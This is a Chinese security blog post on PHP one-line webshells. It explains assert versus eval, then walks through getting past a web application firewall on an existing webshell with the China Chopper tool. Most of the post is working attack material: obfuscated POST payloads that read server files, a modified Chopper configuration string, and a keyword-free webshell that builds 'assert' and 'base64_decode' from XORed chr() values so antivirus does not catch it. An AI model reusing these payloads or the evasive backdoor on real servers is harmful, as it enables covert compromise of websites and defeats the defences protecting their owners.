0x00 eval和assert的区别
http://www.php.net/manual/zh/function.eval.php
http://php.net/manual/zh/functions.variable-functions.php
1)assert是函数,eval不是函数,是语言构造器
2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串,assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现
eg.
|
1
|
assert(eval("echo 1;echo 2;"));
|
[注意上面这句如果是assert(eval("echo 1;echo 2"));这样写是不会执行echo 1也不会执行echo 2的,因为eval使用的字符串要是有分号的php语句]
eg.
|
1
|
assert(eval(base64_decode($_POST[cmd])));
|
菜刀的连接方式为:
|
1
|
assert(eval(base64_decode($_POST[z0])));
|
新版菜刀无法连接assert类型的一句话,因为新版菜刀将连接方式改成了:
|
1
|
chopperPassValue=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval($xx($yy[z0]));
|
相当于:
|
1
2
|
$xx="base64_decode"
@eval($xx($_POST[z0]))
|
也即新版菜刀这里有两个以上的分号导致无法连接assert类型的一句话
2011年前的菜刀支持assert类型的webshell,2014年以后的菜刀不支持assert类型的webshell
3)实例
a)assert(phpinfo());
或
b)assert("phpinfo()");
或
c)assert("phpinfo();");
上面3个都是可以的,因为PHP函数中的参数如果是字符串可以不加双引号,但是:
a)assert(phpinfo();)不可执行,因为assert后面要接一个表达式,phpinfo();不是表达式,是一条php语句,但是换成assert("phpinfo();")就可以执行了,这样"phpinfo();"当作是一个表达式,但是"phpinfo();print_r(666);"[assert的参数为字符串时字符串的引号中有多个分号时]不被当作表达式
b)assert("echo 1")是不可执行的,因为assert不能执行echo,eval("echo 1")是可以的,assert类型的webshell不能用echo来检测,可以用print_r(1),也即assert("print_r(1)")或assert("print_r(1);")都是可以的
c)assert("print_r(1);print_r(2);")或assert("print_r(1);print_r(2)")都只能执行print_r(1),assert只会执行到第一个分号内的语句
0x01 一个waf的绕过过程
1. waf过滤大部分关键字,eg.base64_decode,``,system等
2.尝试用如下方法绕过[uri=mytag_js.php?aid=9527],是个assert类型的webshell,通过echo不能执行,print_r可以执行判断出不是eval类型webshell
3.考虑有可能是新版菜刀不支持assert类型的webshell连接,换成老版本菜刀依然失败,换成下面过waf的菜刀依然失败http://joychou.org/index.php/web/make-own-chopper-which-can-bypass-dog.html
4.hackbar中post:[下面假设密码是x]
|
1
|
x=eval("echo 1;$one=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103));$three=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));echo $_POST[nihao];")&nihao=cGhwaW5mbygp
|
其中$one="assert",$three="base64_decode",$nihao="phpinfo()"以base64编码后的结果,结果无法成功执行phpinfo(),将chr去掉变成:
x=eval("echo 1;echo $_POST[nihao];")&nihao=cGhwaW5mbygp,可以执行简单的echo,现在要想办法把$one和$three换成其他形式,其他不是chr组合的形式
5.尝试post换成如下数据[没有chr]:
|
1
|
x=eval("echo 1;$one='assert';$three='b'.'as'.'e'.(64).'_decode';@$one(@$three($_POST[nihao]));")
|
依然失败
6.尝试不用base64_decode,用rot13
|
1
|
x=eval(' assert(str_rot13("cucvasb()")) ;')
|
可执行phpinfo()语句,尝试执行system("whoami"),如下:
|
1
|
x=eval(' assert(str_rot13("flfgrz(\"jubnzv\")")) ;')
|
执行失败,有可能是php禁用了命令执行函数或服务器开启了安全模式
7.考虑直接执行读文件php代码
|
1
2
3
4
5
|
x=eval('$filename ="../index.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
print_r($contents);
fclose($handle);')
|
结果可以执行成功,只是控制起来不方便,每次要自己写php代码,尝试改chopper,将里面的关键处的base64_decode换掉
8.最新版本的菜刀可配置度较高,但仍然采用base64加密传输,在菜刀目录下有个caidao.conf利用下面两个特性更改<PHP_BASE>标签中的连接方法可过狗:
a)assert类型的webshell正常情况下只能执行一句话[一个分号内的内容],想让assert类型的webshell执行多句PHP代码,可借助eval执行多条命令
b)把base64_decode想办法混淆eg.将caidao.conf中的PHP_BASE改成如下内容:
|
1
|
eval('$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);@eval($a("%s"));');
|
成功过狗
9.在waf阻拦下无法连接一句话chopper时,每种waf的阻拦规则不一样,可在新版chopper目录下放多个不同的可过waf的配置文件备用,一个caidao.conf不过狗时再用其他caidao.conf,有效配置为"caidao.conf"文件
0x02 免杀无特征无关键字一句话
1. 用chr(%d)^chr(%d)代替上面的chr
|
1
2
3
4
|
for($i=1;$i<=200;$i++)
{echo 'chr(19)^chr('.$i.') is:';
echo chr(19)^chr($i);
echo '<br>';}
|
2. 上面的php代码可得到以chr(19)为基础的关键字的组合形式如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
chr(19)^chr(114) is:a
chr(19)^chr(96):s
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(97) is:r
chr(19)^chr(103) is:t
chr(19)^chr(113):b
chr(19)^chr(114):a
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(37) is:6
chr(19)^chr(39) is:4
chr(19)^chr(76) is:_
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
chr(19)^chr(112) is:c
chr(19)^chr(124) is:o
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
|
3. 组合
|
1
2
3
|
$a=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103)) ;
$b=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));
$a($b($_POST[cmd]));
|
4. 用法
eg.
在hackbar中post:
|
1
|
cmd=ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==
|
其中ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==是eval('echo 1;phpinfo();')的base64编码的结果
如果要执行更复杂的功能可通过以下步骤:
a)在菜刀中新加webshell的url和对应密码
b)_charles开sock5代理,eg.127.0.0.1:8889
c)用proxfier设置菜刀[任意版本菜刀都可]的代理为b)中提供的127.0.0.1:8889
d)把想做的动作在菜刀中做出来,在charles中查看对应的base64编码过的代码是什么
e)将d中得到的base64编码过的代码用hackbar或其他工具base64decode,将解码后的php代码替换上面eval('echo 1;phpinfo();')中的echo 1;phpinfo();后再将eval('这里是解码后的代码')这个整体用hackbar或其他工具base64编码下
f)最后将cmd=xxxxxxxxxxxx 在hackbar中post出去,其中xxxxxxxxx是e中编码后的结果
5. 特点
a)传输的数据是base64加密过的没有任何关键字的数据
b)服务端一句话没有任何关键字
c)利用方式不是很方便
0x03 相关链接
mytag_js.php样本文件及分析
样本文件:https://github.com/3xp10it/webshell/tree/master/mytag_js
相关分析:http://www.nxadmin.com/penetration/1168.html
本文由 安全客 原创发布，作者：3xp10it